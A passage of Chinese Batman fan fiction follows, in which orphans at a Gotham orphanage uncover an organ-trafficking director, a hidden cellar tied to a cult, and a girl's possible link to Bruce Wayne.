尖叫声从远处传来。
欧洛斯冲出办公室,沿着备用走廊狂奔。
东侧走廊挤满了人,以利亚被两个警卫按在地上,玛茜正在第三个警卫手中挣扎。
以利亚朝欧洛斯大喊:"跑!别管计划了,跑啊!"
斯通转过头,假眼在昏暗的走廊里发出诡异的光。
他从西装内袋掏出一把精致的手枪。
"抓住她,"声音轻柔得可怕,"要活的。"
欧洛斯转身就跑。
身后传来混乱的脚步声、喊叫声,还有一声震耳欲聋的枪响。
她拐进一条狭窄的走廊,墙壁上的应急灯投下血红色的光。
东侧紧急出口就在前方二十米处,但已经有警卫守在那里。
地下室。现在只有这个选择了。
欧洛斯推开标有"锅炉房"的铁门,冲下锈迹斑斑的金属楼梯。
地下室的空气潮湿冰冷,充满霉味和另一种更刺鼻的气味——福尔马林。
她摸索着前进,直到撞上一个坚硬的金属表面。
月光从高处的小窗漏进来,照亮了眼前的景象:一排医院用的推车,上面摆满标有生物危害标志的冷藏箱。
墙边的架子上,数十个输液袋悬挂在钩子上,标签上写着血型和编号。AB-89——玛茜的。
"找到你了。"
斯通的声音从黑暗中传来。
欧洛斯转身,看到院长站在楼梯口,手枪在月光下泛着冷光。
他的金丝眼镜不见了,假眼在黑暗中像一颗发光的蓝色宝石。
欧洛斯后退,后背抵上冰冷的金属架。
她摸到袜筒里的小刀,但斯通的枪正对着她的眉心。
"别担心,不会太疼。"
斯通柔声说:"我们只需要你的眼睛和一点点骨髓..."
一声巨响从头顶传来,整栋建筑都震动起来。
灰尘从天花板簌簌落下。
斯通分神的刹那,欧洛斯拔出小刀刺向他的手腕。
枪响了,子弹擦过她的耳际,但斯通已经痛呼着松开了武器。
欧洛斯捡起枪,指向斯通的心脏。
她的手抖得厉害,几乎握不住枪柄。
"你不敢。"
斯通捂着手腕,鲜血从指缝渗出。
"善良的小姑娘,你真的敢杀人吗?"
欧洛斯扣动了扳机。
什么也没发生,保险没开。
斯通大笑起来,声音像碎玻璃互相摩擦。他扑向欧洛斯,假眼在黑暗中划出一道蓝光。
一道黑影从天而降。
巨大的黑色披风如活物般展开,瞬间填满了整个地下室空间。
斯通被一脚踢飞到对面的墙上,落地时发出骨折的脆响。
欧洛斯抬头,看到一对尖耳在阴影中勾勒出非人的轮廓。
蝙蝠侠。
那双眼睛,欧洛斯在福利院屋顶见过的那双眼睛,在面具后燃烧着冰冷的怒火。
但此刻,那怒火不是冲她而来。
"辛普森斯通,你的犯罪生涯结束了"
蝙蝠侠的声音经过变声器处理,低沉如雷鸣。
欧洛斯点头,突然发现自己无法呼吸。
黑暗骑士比她想象中更加庞大,更加...非人。
他的披风在静止的空气中无风自动,像有独立生命的黑色流体。
蝙蝠侠拾起斯通掉落的手枪,动作快得模糊。
"女孩,去楼上。"
他简短地说,同时用某种装置将昏迷的斯通铐在管道上。
"以利亚和玛茜……"欧洛斯开口。
"GCPD正在处理楼上。"
蝙蝠侠打断她。
"他们不是我的优先目标。"
欧洛斯深深的看了眼蝙蝠侠,她觉得他有点熟悉。
不,欧洛斯不不再停留。
这样恐怖的生物她不可能熟悉。
8. 第 8 章
哥谭市的晨曦映照出《哥谭公报》的触目惊心标题:《福利院惊天内幕:数百幼童险遭器官贩卖》。
报纸上的图片捕捉了斯通的落魄瞬间,他的金色眼镜斜挂在脸上,那颗人造眼眸在镁光灯的闪烁下显露出冷漠的幽蓝。
欧洛斯轻柔地将指尖滑过另一张照片,戈登警长挥舞着那本封皮古老的账本,向世人揭露真相。
“快看这个!”
以利亚急匆匆地闯入活动室,手中挥动着一份崭新的报纸。
“布鲁斯·韦恩宣布成立儿童保护基金会!”
他那琥珀色的眼睛在阳光下熠熠生辉,宛如流淌的蜂蜜,额角的伤疤已变得细微如同细线。
欧洛斯接过报纸,只见布鲁斯·韦恩面对镜头,神情凝重,眼下的青黑痕迹清晰可见。
“韦恩集团将承担此次事件的全责,”她低声读出,“所有涉案儿童都将获得终身医疗和心理援助……”
“听说他打算亲自挑选新院长,”
玛茜从窗台上跳下,原先的脏辫已换成了一头柔顺的黑发。
“他要求新院长必须熟知每个孩子的名字和喜好。”
她轻轻撇了撇嘴,但眼中的警惕之意已减去不少。
AB-89的条形码在她手臂上逐渐变得模糊,仿佛福利院墙上剥落的旧油漆。
活动室的大门缓缓开启。
新晋的护理员莱恩小姐,手持着果汁与饼干,轻步踏入,金色的发丝编成了一束精神的马尾,替换了往日的白袍,今日身着一袭鹅黄色的柔软针织衫。
“早晨好,孩子们。”
她的笑容犹如阳光照耀过的棉被,洋溢着温暖。
“今天下午我们将迎来音乐课,谁愿意第一个尝试那架全新的钢琴?”
新钢琴披着樱桃木的温润色泽,静静地伫立在阳光最为明媚的角落,替代了那架陪伴多年的老旧立式钢琴。
欧洛斯修长的手指轻轻地覆盖在琴键上,奏响了《梦中的婚礼》的第一个音符,这一次,准确地找对了那个音。
在过去两周的时间里,她终于掌握了这首几乎让她丧命的曲目。
"太棒了,欧洛斯!"
音乐老师激动地鼓起掌来。
"再来一遍,这次要留意踏板的使用。"
窗外,施工队伍正忙碌着拆卸福利院外围的铁栅栏。
哥谭少有的阳光透过新镶嵌的落地窗,洒在温馨的木地板上,形成一片片璀璨的金色斑驳。
以利亚和玛茜相依坐在窗畔的豆袋沙发上,一人沉浸在漫画的世界,另一人则在笔记本上随意勾勒。
他们每周三次造访心理医生,学习将惊悚的梦魇转化为可以忍受的回忆。
夜幕低垂之际,一辆漆黑的轿车静悄悄地滑进福利院的前院。
此时,欧洛斯正沉浸在图书室的宁静中,手中的《希腊神话》随着楼下孩子们的欢呼声轻轻滑落:"新院长到啦!"
她将书放于一旁,步至走廊的围栏边,俯视着下面的情景。
宽敞的大厅中,一位银发飘逸的女士身着淡紫色套装,一枚月季胸针在胸前优雅地绽放。
当女士抬起头,欧洛斯注意到她的双眸如同布鲁斯韦恩一般深邃而湛蓝,却带着几许时光赋予的柔情。
"我是安德莉亚·金,"
新院长的嗓音如薰衣草香茶般轻柔。
"从今往后,这里便是你们的温馨港湾。"
晚餐较之平日更显丰盛异常。
长桌上,烤鸡金黄酥脆,土豆泥细腻柔滑,新鲜蔬菜散发着大自然的清新,甚至冰淇淋甜点也诱人地摆放着。
安德莉亚院长居于孩子们中央,细心聆听每个孩子的声音,间或在她的笔记本上留下几笔记录。
欧洛斯注意到,那本子的封面隐约现出一枚精致的W徽标。
"那是韦恩基金会的标志。"
安德莉亚院长顺着她的目光解释道。
"它代表着韦恩集团。"她的蓝眼睛注视着欧洛斯。"也代表作布鲁斯韦恩。"
欧洛斯盯着那个W标志,她总是忍不住去关注与布鲁斯有关的事情,就算只是个标志。
"欧洛斯!"饭后安德莉亚院长叫住她。
"有几位很不错的家庭看了你的资料,想和你见面聊聊收养的事。"
图书室的门轻轻关上。
欧洛斯摩挲着书架上《希腊神话》的书脊。
"我想留在这里,如果...如果可以的话。"
安德莉亚院长的眼睛微微湿润。
"当然可以,亲爱的。这里永远是你的家。"
她打开抽屉,取出一个天鹅绒小盒子。
"这是韦恩基金会送给每个孩子的礼物。"
盒子里是一枚银质书签,顶端铸成W形状。
欧洛斯的手指颤抖起来,她想,她会把这枚书签和蝴蝶项链放在一起。
"喜欢吗?"安德莉亚院长问。"做的挺漂亮。"
欧洛斯把书签贴在胸口,点了点头。
对现在的她来说,这已经足够。
夜深人静之际,欧洛斯仁立在新宿舍的窗边。
此处已不再是那狭窄的铁架床宿舍,而是她与玛茜共有的温暖居所。
淡雅的绿色墙面,点缀着手工制作的星星灯装饰的屋顶,以及可以将哥谭夜景尽收眼底的宽敞落地窗。
“瞧!”
玛茜猛地手指屋顶。
在那皎洁的月光之下,一道黑色的剪影蹲伏着,尖锐的耳朵轮廓分明。
它仅是稍作停留,便如真正的蝙蝠般消失在夜的深邃中。
然而这一次,欧洛斯并未感到丝毫惊慌。
她心中明了,那位黑暗骑士将始终守卫这片土地,守卫整个哥谭。
"明天见,蝙蝠侠。"
她轻声说,拉上了印有月亮图案的窗帘。
在梦境深处,欧洛斯又一次梦见了母亲。
她们拥有如出一辙的赤红色长发,同样清澈的绿色眼眸,母亲置身于遥远之地,放飞了一只闪耀着银光的蝴蝶。
狂风肆虐,但那蝴蝶的翅膀却坚韧无比,逆风而行,向着哥谭那永恒忧郁的天穹飞翔。
它不断攀升,直至化作天际一颗璀璨的新星。
晨曦的微光轻轻唤醒了欧洛斯。
书桌上,W书签在柔和的晨光里微微闪耀,宛若一抹温柔奇迹。
楼下,以利亚的呼唤声透过空气传来,是享用早餐的邀请,玛茜正嘟囔着新领的头绳勒得有些紧,而安德莉亚院长正与厨师商讨着今日的食谱。
欧洛斯深深地吸了一口气,那煎饼的香味与希望的气息一并扑鼻而来。
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她轻轻地将书签夹和蝴蝶形状的项链放入小巧的盒中,随即轻快地奔向门口,心中满是对新一天平凡而宝贵的期待。
在她心中,对母亲的思念依旧,对父亲的关注依然,而这般保持着不远不近的距离,恰恰恰到好处。
她们共享着可口的煎饼,此时,以利亚轻声在欧洛斯耳边低语,他发现了一个隐秘的藏身之处,待他们品尝完这顿美味的早餐后,便要带欧洛斯一同前往。
玛茜忽然靠近了他们。
“哼,休想撇下我独自行动。”
玛茜的脸上带着一抹调皮的微笑,她的眼睛闪烁着好奇和冒险的光芒。
以利亚和欧洛斯相视一笑,他们知道玛茜的加入只会让这次的探险更加有趣。
“好吧,玛茜,你总是能及时出现。”
以利亚调侃道,同时他从口袋里掏出一张破旧的指示图,上面标记着如何通往阁楼。
“我们竟然还有阁楼?”欧洛斯有些惊讶。
毕竟之前的斯通院长可不会允许这种可以藏人的地方出现。
三人迅速收拾好煎饼的残渣,踏上了寻找阁楼的旅程,她们攀爬了被遗忘的楼梯,最终来到了一扇看似不起眼的旧木门前。
以利亚轻轻推开门,一股陈旧的空气迎面扑来,阁楼里堆满了尘封的记忆和遗失的宝藏。
阳光透过裂缝斑驳地洒在满是灰尘的地板上,营造出一种神秘而又温馨的氛围。
“从现在开始。”以利亚骄傲地宣布。“这就是我们的秘密基地。”
玛茜终究按捺不住好奇心,轻手轻脚地踏入了那扇门。
“好吧,好吧,我们得把这儿收拾收拾,至少不能满是灰尘了。”
不经意间,玛茜的步伐被一块凸起的地板绊了一下。
"奇怪,我昨天来怎么没注意到这个。"以利亚自言自语道。
他小心翼翼地撬开那块地板,灰尘扬起,让她打了个喷嚏。
地板下是一个小小的空间,里面放着一个铁盒,已经生锈了。
她们头挨着头围成一圈,等着以利亚取出铁盒。
拂去上面的灰尘。盒子上刻着几个已经模糊的字:"艾琳的秘密,2000年"。
"十年前的东西..."
欧洛斯深吸一口气,打开了盒子。
里面是一本笔记本,几张泛黄的照片,和一个小小的木雕兔子。
她首先翻开笔记本,扉页上写着:"哥谭福利院观察日记——艾琳·沃特斯,12岁"。
欧洛斯瞪大了眼睛。
这是一位十年前住在福利院的女孩的日记!她迫不及待地开始阅读。
"2000年6月15日。今天我又看见蝙蝠侠了。他从福利院楼顶飞过,披风在月光下像一只巨大的蝙蝠翅膀。斯通先生说那只是我的想象,但我知道是真的。总有一天,我要像他一样守护哥谭..."
欧洛斯的手指轻轻抚过这些字迹。她完全能想象那个叫艾琳的女孩坐在这个阁楼里写日记的样子。
一种奇妙的联系感在她心中升起。
正当她欲继续沉浸在书海之中,楼梯间忽然响起了一阵脚步声。
欧洛斯与玛茜交换了一个眼神,立刻将手中的笔记本阖上。
以利亚则紧贴门扉,屏息倾听,室内气氛紧张,众人皆不敢发出半点声响。
9. 第 9 章
脚步声逐渐消逝在远方,以利亚这才轻轻呼出一口气,转身只见玛茜已将日记本握在手中:“赶紧的,艾琳可不会等我们。”
她翻开第第二页页,清了清嗓子,"''2000年6月17日。今天兔子先生又来了。他说我是特别的。''"
欧洛斯感到一阵寒意爬上脊背。她接过日记本继续读下去,声音在寂静的阁楼里显得格外清晰:"''6月19日。霍恩厨师在汤里放了奇怪的东西。我吐了出来,但其他孩子都喝光了。他们的眼睛变得很亮,像猫一样。''"
"''6月23日。地下室的门平时都锁着,但今晚我看到了光。我跟着兔子先生下去,那里有张金属床,还有...我不想写了。''"
日记的最后一页写着:"''他们发现我知道了。马克说我是特别的,说兔子先生会带我去个好地方。但我知道他在说谎。如果我消失了,找到这些的人,请记住——数字是密码,兔子是钥匙。不要相信笑脸。''"
欧洛斯的手指颤抖着翻到背面,发现用铅笔淡淡写着:"地下室墙后还有空间。12-5-5-16。"
玛茜拿起那张数字纸,眉头紧锁:"这不是随机数字...看,每行都是六个数字,而且第一位数从不超过3。"
以利亚突然夺过纸张:"等等...福利院有三层楼,每层有二十个房间..."他指着第一行数字,"2-14-3-7-19-20。这是二楼,14号房间,第3个抽屉,第7本书,第19页第20行字!"
欧洛斯感到心脏在胸腔里狂跳。他们找到了某种密码系统,艾琳在记录某些位置信息。
"我们必须去地下室,"欧洛斯说,拿起那只木雕兔子,"这是她说的''钥匙''。"
玛茜咬着下唇:"谁知道地下室还在不在,现在福利院大部分地方都改建了。"
"只是一部分,"欧洛斯回忆道,"有些地方只改了外墙。地基是没法动的。"
以利亚摇头:"太危险了。这本日记记录的这么诡异,而且谁知道这和斯通有没有关系。"
"那我们就更该弄清楚,"欧洛斯握紧木雕兔子,红宝石眼睛硌得他手心发痛,"为了艾琳,而且,福利院要是真的有什么奇怪的东西……"
欧洛斯和以利亚对视一眼,一起看向满脸纠结的玛茜,“好吧,好吧,就当是冒险了。”
三人悄悄溜出阁楼时,远处传来雷声。
哥谭的暴雨要来了。
雨水拍打着福利院老旧的窗棂,哥谭的暴雨如约而至。
欧洛斯将木雕兔子塞进外套口袋,冰冷的红宝石眼睛贴着他的皮肤,像一块永远无法温暖的冰。
"走员工楼梯,"以利亚压低声音,指向走廊尽头那扇漆成暗绿色的门,"安德莉亚院长办公室在另一头,这个时间她应该在批改文件。"
玛茜的手指在门把手上犹豫了一瞬:"我们真的要继续吗?安德莉亚院长把这里管理得很好,自从韦恩基金会接手后…"
"正因为如此,我们才要弄清楚。"欧洛斯打断他,声音比想象中更坚定,"如果斯托院长的余党还在福利院呢?如果还有其他孩子会像艾琳一样消失呢?"
雨水顺着他的鬓角滑下,阁楼漏水的天花板让他们三个都湿了半边身子。玛茜的睫毛上挂着水珠,在昏暗的走廊灯光下像细小的钻石。
"14号房间现在是储物间,"她轻声说,"存放淘汰的旧家具和没人认领的物品。"
门轴发出轻微的呻吟,三人屏住呼吸。走廊空无一人,只有远处厨房飘来晚餐的香气,今天的菜单是肉酱意面和蔬菜沙拉,每周四固定如此。自从安德莉亚上任后,福利院的餐食变得规律而营养,再没有孩子抱怨过食物有怪味。
"快。"欧洛斯带头溜出楼梯间。
二楼比阁楼温暖得多,墙壁上新刷的淡黄色油漆在雷光中忽明忽暗。14号房间的门把手上积了一层薄灰,显然很少有人来此。
玛茜从发间取下一枚发卡,几下摆弄后,锁舌咔哒一声退开。以利亚惊讶地挑眉:"你什么时候学的这个?"
"图书室的《实用生活技巧》第47页。"她推开门,灰尘在空气中舞蹈。
房间内堆满了蒙着白布的家具,像一群沉默的幽灵。欧洛斯按照数字指示走向第三个抽屉柜,一个老式的橡木档案柜,最上层的抽屉把手已经脱落。
"三、七、十九、二十..."他默念着,拉开第三个抽屉。里面塞满了破旧的教科书,书脊上的烫金标题已经褪色。第七本是《哥谭地方史》,书页泛黄卷边。
玛茜接过书,快速翻到第19页。在闪电照亮的瞬间,他们看到了第20行字:
"圣约翰救济院于1923年改建为儿童福利机构,地下室保留原有结构。"
以利亚倒吸一口冷气:"这不可能...艾琳怎么知道我们会看这本书?"
"不是她知道,"欧洛斯的手指抚过那行字下方的轻微凹痕,有人曾用力在此处写字,"是她留下了记号。看,这些字母比其他部分颜色更深。"
玛茜突然合上书:"有人来了。"
脚步声在走廊尽头响起,伴随着钥匙碰撞的清脆声响。三人迅速躲到家具后方,欧洛斯的心跳声大得仿佛能震碎胸腔。白布下,一只蜘蛛匆忙逃回它的缝隙。
门被推开,手电筒的光扫过房间。
"又检查一遍?自从安德莉亚接手后,这破规矩真烦人。"一个粗哑的男声抱怨道。
"少废话,斯托院长时期的规矩更烦。"另一个声音更沉稳,"新来的护工太多。"
光束在欧洛斯藏身的椅子旁停留了几秒,他的汗水浸透了后背的衬衫。木雕兔子在口袋里仿佛有千斤重。
终于,门再次关闭,脚步声渐行渐远。
"是霍恩,"玛茜声音颤抖,"厨房的那个霍恩。我以为安德莉亚院长把他开除了。"
"显然没有,"以利亚脸色苍白,"日记里提到他在汤里放东西..."
欧洛斯站起身,拍掉膝盖上的灰尘:"我们得抓紧时间。地下室入口在厨房旁边,经过霍恩的地盘。"
雨水顺着福利院的排水管哗哗作响,掩盖了他们溜向一楼的脚步声。厨房门上的小窗透出暖黄灯光,霍恩的身影在里面晃动,汤勺与锅沿碰撞的声音清晰可闻。
"后门,"玛茜指向服务走廊,"清洁工下班了。"
地下室的门比想象中新,结实的橡木板上装着电子锁。以利亚绝望地摇头:"完了,我们进不去。"
欧洛斯掏出木雕兔子,红宝石眼睛在昏暗走廊里泛着诡异的光:"艾琳说兔子是钥匙。"
他在门边摸索,突然在墙面上发现一个几乎不可察觉的凹槽,兔子的形状。当木雕
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嵌入凹槽的瞬间,一声机械运转的轻响传来,电子锁显示屏由红变绿。
"这...这不科学,"以利亚瞪大眼睛,"为什么兔子能开电子锁?"
门后是向下的水泥台阶,潮湿的霉味扑面而来。玛茜打开手机照明,光束照出一串细小的脚印,有人不久前刚来过这里。
地下室比想象中宽敞,被分割成数个房间。最外侧堆放着成箱的罐头食品和清洁用品,标签上印着韦恩基金会的logo。但艾琳日记中提到的金属床不见踪影。
"墙后还有空间..."欧洛斯喃喃重复日记内容,手指抚过斑驳的墙面。在第三个储藏室尽头,他发现了一块颜色略新的砖块。
当他按下那块砖时,整面墙无声地滑开,露出一个狭小密室。玛茜的手机光照亮了里面的景象:
一张锈迹斑斑的金属床,皮带扣环已经发黑;墙面上刻满诡异的符号,有些像是孩童的涂鸦,有些则明显是某种仪式图案;角落里堆着几个玻璃罐,里面漂浮着难以辨认的物体。
"老天..."以利亚捂住嘴倒退一步。
欧洛斯的注意力被金属床下方的一个小铁盒吸引。盒子上刻着与木雕兔子相同的符号。当他打开盒子时,一本薄薄的账本映入眼帘。
"这是..."玛茜凑近查看,突然倒吸一口气,"名单!斯托院长的交易记录!"
账本最后一页记录着一个日期和金额,正是艾琳失踪那天。备注栏写着:"特别案例,兔子先生亲自处理。"
一阵突如其来的震动让铁盒从欧洛斯手中跌落,纸张散落一地。其中一张照片滑到他脚边,照片上,戴着兔子面具的高大男子站在一群眼神空洞的孩子中间,最前排的正是年幼的艾琳,她手中紧握着那个木雕兔子。
"我们得告诉安德莉亚院长,"玛茜颤抖着说,"这些足够证明斯托院长……"
一声金属碰撞的脆响从走廊传来,紧接着是电子锁被启动的提示音。
有人来了。
欧洛斯迅速关掉手机灯光,三人蜷缩在密室最暗的角落。脚步声越来越近,伴随着熟悉的钥匙碰撞声,是霍恩。
手电筒光束扫过储藏室,在滑开的密室门前停留。欧洛斯能听到自己血液冲击耳膜的声音。玛茜的手紧握着他的,冰冷潮湿。
就在光束即将探入密室的瞬间,福利院的火警铃声突然响彻整栋建筑。
"又来了,"霍恩咒骂着,"该死的旧线路。"
脚步声匆匆离去,火警铃声仍在继续。三人等了几秒,欧洛斯抓起账本和照片塞进口袋:"走,趁现在!"
他们溜出密室,刚踏上台阶,一个身影挡在了地下室出口。
安德莉亚院长站在那里,雨水从她的外套滴落,灰蓝色的眼睛里满是担忧:"孩子们,你们在这里做什么?火警演习已经结束了。"
三人僵在原地,欧洛斯的手紧握着口袋里的账本。院长的目光落在从他口袋边缘露出的照片一角,表情突然变得复杂。
"我明白了,"她轻声说,侧身让出通道,"到我办公室来,我们需要谈谈。关于艾琳...和兔子先生的事。"
走廊尽头,霍恩的身影在转角处一闪而过。欧洛斯不确定院长是否看到了他,但当他们对视的瞬间,厨师嘴角浮现的微笑让他的血液瞬间凝固,那笑容与照片中兔子先生的弧度一模一样。
10. 第 10 章
雨水顺着院长办公室的彩绘玻璃蜿蜒而下,将窗外的哥谭夜景扭曲成模糊的色块。
安德莉亚院长锁上门,拉上厚重的窗帘,然后从书柜后取出一个老式留声机。她转动底座,留声机发出轻微的机械声,房间某处传来锁具开启的咔哒声。
"你们不该去地下室。"安德莉亚的声音很轻,却让欧洛斯感到一阵寒意,"尤其是带着那个木雕。"
玛茜紧张地捏着衣角:"院长,我们只是想知道艾琳发生了什么…"
"我知道,亲爱的,我知道。"安德莉亚从办公桌抽屉取出一个牛皮纸袋,倒出几张照片和一个蝙蝠镖。
"三个月来,我隔几天都会向他汇报斯托留下的蛛丝马迹。"
以利亚瞪大眼睛:"您认识蝙蝠侠?"
安德莉亚的嘴角浮现一丝苦笑:"认识?不。合作?是的。"她指向照片角落的日期,"这是上个月拍的,当时我们发现厨房送来的牛奶中有致幻剂成分。"
欧洛斯从口袋掏出那本泛黄的账本和照片:"我们在密室找到这些。斯托院长不仅贩卖器官,他还在...进行某种仪式?"
安德莉亚接过账本时,手指微微颤抖。当她翻到记载艾琳失踪的那页时,灰蓝色的眼睛里闪过一丝欧洛斯读不懂的情绪。
"这不是普通文字。"她突然说,从书架上取下一本厚重的《哥谭建筑史》,快速翻到某一页,"斯托用的是改良后的古赫梯密文,每个符号代表两个字母。"她将账本内容与书页上的符号表对照,"''特别案例''后面写的是...''沉睡之神的觉醒需要七重献祭''。"
房间突然安静得可怕,只有雨水拍打窗户的声音。玛茜的脸色变得煞白:"七重...艾琳是第几个?"
安德莉亚没有立即回答。她走到留声机旁,按下隐藏按钮,墙壁上的暗格缓缓打开,露出一个闪着红光的通讯器。
"蝙蝠侠给我的。每当发现与斯托有关的线索,我就会按下这个按钮。"她顿了顿,"艾琳是第六个。"
欧洛斯感到口袋里的木雕兔子突然变得滚烫,他差点叫出声来。安德莉亚敏锐地注意到他的异常:"那东西在影响你,是不是?"她伸出手,"给我看看。"
当木雕兔子被放在桌面上时,红宝石眼睛在灯光下泛着诡异的光晕。安德莉亚戴上手套,小心翼翼地翻转它,露出底部几乎不可见的刻痕,一组与账本中相同的密文符号。
"''钥匙与门合而为一时,沉睡者将睁开眼''。"安德莉亚翻译道,声音干涩,"这不是普通的工艺品,它是某种...接收器。"
以利亚突然指向窗外:"有人在那里!"
窗帘缝隙间,霍恩那张满是横肉的脸一闪而过。安德莉亚迅速合上账本,但为时已晚,厨师肯定看到了桌上的证据。
"没关系,"安德莉亚出人意料地平静,"他早就知道我在调查。"她走向书柜,取下一本相册,"霍恩是斯托的表弟,韦恩基金会接手后我无法直接开除他,只能将他调离厨房核心岗位。"
相册里是福利院历年员工的合影。欧洛斯注意到,从十五年前开始,每张照片角落都会出现一个戴兔子面具的身影,有时站在孩子们中间,有时只是远远地站在树荫下。
"兔子先生从不以真面目示人,"安德莉亚解释道,"但蝙蝠侠确信他是斯托的合伙人,专门负责...特殊案例的筛选。"她的手指停在艾琳的入学照上,"某些孩子有特殊的体质,适合他们的仪式。"
玛茜突然捂住嘴:"现在的孩子们还安全吗?"
"理论上是的。"安德莉亚走向窗边,确认霍恩已经离开,"自从斯托入狱,仪式中断了。但账本显示..."她翻开最后一页,指向一组复杂符号,"他们在地下建造了某种设施,连通哥谭废弃的下水道系统。
蝙蝠侠追踪到黑门监狱有犯人收到过来自地下的信件,署名都是兔子先生。"
欧洛斯感到一阵眩晕,木雕兔子眼睛的红光在他视线中扩散,形成诡异的几何图案。恍惚间,他看到金属床上绑着一个模糊人影,墙上符号如活物般蠕动...
"欧洛斯!"玛茜的喊声将他拉回现实。他这才发现自己正用手在桌面无意识地描画那些符号,指尖磨出了血。
安德莉亚严肃地看着他:"这就是为什么我不希望你们接触这些。某些知识本身就有污染性。"她拿起通讯器,"我现在必须联系蝙蝠侠,账本里的坐标可能是他们仪式的…"
灯光突然熄灭,整栋建筑陷入黑暗。走廊传来沉重的脚步声,不止一个人。
安德莉亚迅速将账本和木雕锁进保险箱,塞给三人每人一个手电筒:"后门楼梯,立刻!去找戈登警长,告诉他代码''冬眠的兔子''。"
"那您呢?"以利亚紧张地问。
安德莉亚从抽屉取出一把老式左轮:"我会拖延时间。记住,无论听到什么声音都不要回头。"
他们刚溜出办公室,楼下就传来门被踹开的声音。欧洛斯最后回头看了一眼,安德莉亚站在黑暗中,月光透过彩绘玻璃在她身上投下血红色的斑块,她的轮廓突然显得陌生而可怖。
三人沿着仆人通道跌跌撞撞地前进,玛茜突然拉住欧洛斯:"等等,账本最后那页的数字...我见过类似的排列!"她在黑暗中展开从办公室顺走的便签纸,借着手电筒微光画起来,"看,这不像坐标,像...乐谱?"
远处传来玻璃破碎的声音,接着是安德莉亚的呵斥。欧洛斯心跳如雷,却强迫自己看向玛茜的画,七组数字,每组六个,排列方式确实像乐谱的音符。
"斯托喜欢在古典乐谱中藏密码,"玛茜快速解释,"安德莉亚院长书架上所有音乐史都被翻烂了。"
以利亚突然倒吸一口气:"你们听!"
寂静中,远处确实飘来微弱的管风琴声,音调怪异得不像是人类能欣赏的旋律。更可怕的是,这旋律与玛茜画的数字排列完全吻合。
"地下..."欧洛斯喉咙发紧,"声音来自地下。"
他们来到一扇标有"锅炉房"的铁门前,琴声从这里清晰可闻。门锁已经生锈,但把手有新鲜的使用痕迹。欧洛斯试着推了推,门纹丝不动。
"需要钥匙..."玛茜咬着嘴唇。
欧洛斯想起木雕兔子能开电子锁,但安德莉亚将它锁在了保险箱里。这时以利亚从口袋掏出一把钥匙:"上周霍恩喝醉掉在食堂的,我一直没还。"
钥匙插入锁孔发出刺耳的摩擦声。门开了一条缝,腐朽的空气夹杂着某种草药燃烧的气味扑面而来。楼梯向下延伸,尽头是诡异的绿色光亮。
琴声突然停止,取而代之的是液体滴落的回音。玛茜的手电筒照向声源,楼梯墙壁上布满了与密室相同的符号,但这里的符号用某种荧光颜料绘制,在黑暗中幽幽发亮。
"我们不该下去,"玛茜声音发抖,"应该按院长说的找戈登警长。"
欧洛斯正要同意,楼下突然传来孩子的啜泣声。三人僵住了,那声音分明是不到十岁的小女孩。
"艾琳.
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..?"以利亚不确定地低语。
理智告诉欧洛斯这不可能是十年前失踪的艾琳,但双腿已经不由自主地迈下台阶。每一步都让腐臭味更浓,绿色荧光符号也越发密集,开始形成可辨认的图案,一个巨大的、被无数触手环绕的椭圆体。
楼梯尽头是一扇金属门,中央雕刻着兔子头骨图案。哭声就是从门后传来,间或夹杂着金属碰撞声。欧洛斯将耳朵贴在门上,听到一个沙哑的男声说着某种古老语言,随后是液体倒入容器的声响。
玛茜突然抓紧欧洛斯的胳膊,指向门缝,鲜红的液体正缓缓渗出。欧洛斯想起账本上的"七重献祭",胃部一阵绞痛。安德莉亚说艾琳是第六个,那么第七个...
金属门突然震动起来,门后传来撕心裂肺的尖叫。三人惊恐后退,却见门上的兔子头骨图案开始流血,那些红色液体在门表面形成与墙上相同的诡异符号。
"跑!"以利亚拉起两人就往回冲。身后金属门发出不堪重负的呻吟,某种粘稠的、多节的东西正从门缝挤出来...
他们冲上楼梯时,锅炉房的门突然自动关闭。以利亚疯狂转动把手,门锁死了。身后的爬行声越来越近,绿色荧光中,一个模糊的、不成形的影子正在楼梯拐角蠕动。
玛茜突然扑向墙上的消防柜,用灭火器砸向窗户。玻璃碎裂的声响中,她大喊:"这边!"
他们挤过窄窗,跌落在福利院后院的灌木丛中。欧洛斯最后瞥了一眼窗内,荧光符号全部变成了血红色,像无数眼睛在黑暗中睁开。
三人没命地奔向围墙,却见一个黑影静静站在大门处。
欧洛斯的心沉到谷底,直到月光照亮那人的披风,不是霍恩,是蝙蝠侠。
"戈登收到你们的消息了。"低沉的声音从面具下传出。蝙蝠侠走向他们,却在距离三步远时突然停住,盯着欧洛斯的脸:"你接触过它了。"
欧洛斯不明所以,直到玛茜惊叫一声指向她的眼睛。借着手电筒反光,欧洛斯看到自己的瞳孔变成了诡异的红色,形状如同兔子眼睛的竖瞳。
蝙蝠侠从腰带取出一个小瓶:"滴在眼睛里,能暂时抑制感染。"液体刺痛得像熔铅,但再睁开眼时,玛茜说红色褪去了。
"安德莉亚院长还在里面!"以利亚急切地说,"还有霍恩他们——"
"GCPD已经包围了前门。"蝙蝠侠打断他,"你们看到的...听到的地下声音,是什么?"
欧洛斯描述了他们所见,特别是金属门和诡异的符号。当提到"沉睡之神"和"七重献祭"时,蝙蝠侠的身体明显紧绷了。
"那不是普通的器官贩卖。"他低声说,更像是自言自语,"斯托在培育某种东西...而兔子先生仍在继续他的工作。"
远处传来警笛声,蝙蝠侠示意他们待在原地,自己则消失在阴影中。片刻后,安德莉亚被两名警察搀扶出来,额头有血迹但神志清醒。她看到三人安全无恙,明显松了口气。
戈登警长走过来,手里拿着一个证物袋,里面正是那个木雕兔子,红宝石眼睛已经碎裂,露出内部精密的电子元件。
"藏在院长办公室保险箱的。"戈登摇摇头,"霍恩和他的同伙试图偷走它,但蝙蝠侠截住了他们。"他压低声音,"孩子们,今晚的事绝对不能外传,明白吗?为了你们的安全。"
安德莉亚走过来拥抱了他们每一个人:"你们很勇敢,但有些秘密..."她的目光越过他们,望向福利院地下室的方向,"有些秘密最好永远埋藏。"
11. 第 11 章
当欧洛斯坐上警车时,他注意到蝙蝠侠和安德莉亚在远处低声交谈。警车开动前,他分明看到院长交给蝙蝠侠一张纸条,上面画着与玛茜所绘完全相同的数字乐谱。
事情似乎就到这里结束了,欧洛斯她们不被允许知道事情的后续。
以利亚和玛茜满脸写着不满,而欧洛斯却无心深究这些情绪。
欧洛斯感到蝙蝠侠的身影似曾相识,心中涌动着一种难以言喻的预感,却不敢去证实。
血浓于水,往往出人意料,她从将蝙蝠侠视作恐怖的非人类生物,到认同其为哥谭市的守护者,如今甚至觉得他与自己的父亲布鲁斯韦恩有着难以忽视的相似之处。
